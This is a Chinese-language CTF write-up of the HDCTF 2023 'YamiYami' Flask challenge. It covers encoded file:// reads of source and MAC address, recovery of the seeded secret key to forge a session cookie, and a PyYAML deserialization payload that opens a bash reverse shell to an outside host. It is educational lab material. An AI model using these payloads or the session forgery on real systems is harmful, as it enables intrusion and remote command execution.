[HDCTF 2023]YamiYami

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 前言
  • 涉及知识点
  • 解题详细过程
    • session伪造
    • 反弹shell


前言

从暑假末尾一直搁置,当时卡在反弹shell搞得离flag就差一步。不过最近一两天学习完反弹shell的知识后,直接拿下此题,学习了好几个没学过知识。


涉及知识点

  1. Yami反序列化
  2. session伪造
  3. seed生成伪随机数
  4. 反弹shell
  5. 读取源码

解题详细过程

打开题目,大概看一下不同功能
[HDCTF 2023]YamiYami_第1张图片第一个Read应该是可以读取代码
然后第二个可以上传文件
最后一个点进去发现提示我们查看/app
我们点击第一个链接,输入

?url=file:///app/app.py

[HDCTF 2023]YamiYami_第2张图片发现不行,那么我们用url二次编码绕过

app/app.py  -->  %2561%2570%2570%252F%2561%2570%2570%252E%2570%2579

成功得到源码
[HDCTF 2023]YamiYami_第3张图片我们整理一下,源码如下

# encoding:utf-8
import os
import requests
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml #问题所在 pyyaml反序列化
from urllib.request import urlopen

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = False
BLACK_LIST = ["yaml", "YAML", "YML", "yml", "yamiyami"]
app.config['UPLOAD_FOLDER'] = "/app/uploads"


@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 Read somethings
    
Here is the challenge Upload file
Enjoy it pwd ''' @app.route('/pwd') def pwd(): return str(pwdpath) @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('app.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print(str(ex)) return 'no response' def allowed_file(filename): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload', methods=['GET', 'POST']) def upload_file(): if request.method == 'POST': if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] if file.filename == '': return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/'): os.makedirs('./uploads/') file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return "upload successfully!" return render_template("index.html") @app.route('/boogipop') def load(): if session.get("passport") == "Welcome To HDCTF2023": LoadedFile = request.args.get("file") if not os.path.exists(LoadedFile): return "file not exists" with open(LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else: return "No Auth bro" if __name__ == '__main__':`在这里插入代码片` pwdpath = os.popen("pwd").read() app.run( debug=False, host="0.0.0.0" ) print(app.config['SECRET_KEY'])

分析一下
定义了load()函数,用于处理/boogipop路由的请求。看看if条件,先是对session值进行验证,然后获取文件名。最后可以发现存在反序列化漏洞,因为yaml.full_load() 对用户上传的文件进行反序列化操作。

再看看upload_file()函数,就是对上传文件进行验证,拓展名是否在黑名单中。

这里的上传黑名单禁掉了Yaml等,这其实是一个难点。但是上传txt文件也能被解析成Yaml。猜测可能是:这里full_load调用了load函数,而load函数输入的是一个steam,也就是流,二进制文件,所以不管是什么后缀都无关紧要了

为了绕过load()函数的if条件限制,我们首要目的是session伪造

session伪造

其中密钥的获取方法,题目已经告诉我们

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)

关于uuid.getnode()函数

uuid.getnode() 是 Python 中的一个函数,用于获取本地计算机的 MAC 地址(物理地址)作为一个 48 位整数。它属于 uuid 模块,用于生成和操作 UUID(通用唯一标识符)。

对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序为固定的,所以只要知道seed的值即可。这里看到seed使用的uuid.getnode()函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

?url=file:///sys/class/net/eth0/address

[HDCTF 2023]YamiYami_第4张图片生成伪随机数脚本

import uuid,random
random.seed(0x0242ac02ad42)
print(str(random.random()*233))

生成后,用工具flask-session-cookie
解密

python flask_session_cookie_manager3.py decode -s "76.57659277973795" -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZPiBMQ._UO0MSFCniq6fzbPNKFVXmRAnJ8"

加密

python flask_session_cookie_manager3.py  encode -s "76.57659277973795" -t "{'passport': 'Welcome To HDCTF2023'}"

[HDCTF 2023]YamiYami_第5张图片准备好session

反弹shell

要上传的反弹shell脚本,命名为1.txt

- !!python/object/new:str
    args: []
    state: !!python/tuple
    - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/f57819674z.imdo.co/29964 0>&1\"')"
    - !!python/object/new:staticmethod
      args: [0]
      state:
        update: !!python/name:exec

在上传界面上传,然后访问./boogipop?file=uploads/1.txt
发现不行(这里就要用到伪造的session)
[HDCTF 2023]YamiYami_第6张图片
我们先打开kali监听一下

nc -lvp 1028

然后bp抓包,修改session值

[HDCTF 2023]YamiYami_第7张图片
成功反弹shell

[HDCTF 2023]YamiYami_第8张图片ls一下,发现flag.sh是假的
真的flag在/tmp里,得到flag

[HDCTF 2023]YamiYami_第9张图片

你可能感兴趣的:(刷题记录,web安全,php,python)